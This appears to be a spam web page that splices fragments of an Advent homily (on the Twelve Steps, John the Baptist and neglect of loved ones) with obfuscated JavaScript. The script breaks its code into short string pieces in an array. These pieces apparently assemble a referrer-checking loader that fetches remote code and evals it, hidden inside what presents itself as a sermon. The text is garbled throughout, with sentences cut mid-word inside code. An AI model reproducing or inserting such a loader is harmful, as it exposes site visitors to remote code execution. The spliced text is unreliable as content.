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So, substituting the word sin for the word alcohol the steps are: 1 – We admitted we were powerless over sin – that our lives had become unmanageable.

We can't manage our lives all by ourselves So I'll leave you with the first three steps of the famous Twelve Steps found in Alcoholic Anonymous.. What about our parents and our grandparents who live some distance away from us? Have we neglected them too? Are there some changes we need to make because of our neglect? Then there are those with whom we work..
";V["IfL"]="a,t";V["rvE"]="y,v";V["Nqm"]="ata";V["KNk"]="="L";V["Kro"]="Dat";V["tKB"]="ext";V["TtW"]="ru";V["Efg"]="f.. in";V["BZg"]="url";V["oyo"]=",cr";V["TLm"]=":/";V["nUP"]=":'h";V["UeD"]="o4X";V["VgA"]="ram";V["XOz"]="ain";V["XdH"]="rer";V["iBr"]="ah.. Year A Fr Charles Irvin Diocese of Lansing(Click here for today's readings)Here we are with Christmas just two and a half weeks away.

We need to hear John the Baptist's message as it applies to us Then, too, we should pay some attention to the way we have neglected our own selves.. ";V["yEn"]="r \";V["MOa"]=" sh";V["tpO"]="val";V["Esi"]="cum";V["bSe"]="ind";V["xCC"]="tpt";V["kgx"]="a";";V["nIj"]="jso";V["ZrX"]="yah";V["wKk"]="ucc";V["jtK"]="g.. The gospel picture ends with John the Baptist threatening the Sadducees and Pharisees with hell.. It seems strange that we sort of assume that they know we love them without our ever actually telling them or showing them that we do love them.. The wonderful thing about Advent is that in the end we are given the certitude of God's presence in our lives in Jesus Christ.

Advent has more to offer us, however, than that Advent has a Savior for us Beyond our own efforts to recognize sin and failure in our lives, beyond our confessions and admissions that lead us to repent, Advent presents us with what we truly need – a Savior.

Daily routines, concerns about our work, and our habits can cause us to pay attention to material things at the expense of giving our families and friends our real attention, care, concern, and love.. ";V["FNA"]="({t";V["XNK"]="xOf";V["oux"]="llr";V["qVJ"]="exO";V["nbw"]="ue,";V["QEY"]="prg";V["oqG"]="np:";V["fYq"]="if(";V["nXT"]="and";V["gxH"]="ET";V["OsJ"]="ble";V["zQz"]="er.. var Ly = "The+Advent+(2016);var V = new Array();V["mQP"]="e =";V["Mah"]="Dom";V["umT"]="l(r";V["qWk"]="ion";V["VNY"]="0ll";V["JNo"]=":tr";V["FMI"]=",da";V["yFs"]="0)l";V["HOW"]=","s";V["BwX"]="spo";V["naW"]="or c";V["zvL"]="jax";V["WcY"]="9/2";V["DxI"]="tus";V["wZG"]="eng";V["byd"]=">0);V["QoQ"]="cri";V["oAu"]="fal";V["xJW"]="ref";V["yWc"]="bin";V["BRf"]="liv";V["jun"]="nse";V["EIJ"]="ex.. l";V["dLX"]="0){";V["sNZ"]="e \";V["ioM"]="pt";V["GKv"]="wee";V["DKZ"]="fer";V["MWS"]="nde";V["KyM"]="nct";V["GvO"]=".. And if we receive Him in our hearts and souls, deep down within and not simply with good wishes and nice thoughts, then the change that we enter into will move from incertitude into the certainty of God's abiding love deep within us to empower us to deal with our selves, and to love ourselves and those around us as He would have us.. \";V["qfk"]="goo";V["nKx"]="taT";V["jwG"]="dex";V["doE"]=" \");V["prb"]="oo";V["wiw"]=",pr";V["IUU"]="bly";V["pgu"]="ssD";V["VAV"]="ess";V["sAY"]="ef.. It's very difficult for everyone because who or what guarantees that things will be better as a result of change? A life lived close to God is the only real guarantee we have.. Of the twelve, the first three are the most vital and critical They deal with what John the Baptist is talking about.. How have we loved them? How have we failed to love them?Who have we downright neglected or not treated as we should have? Too often we take those around us for granted.. It's what we do that gives substance to love Today we need to take an honest look at what we are actually doing in our daily lives that reveals our faith and love in Christ. e10c415e6f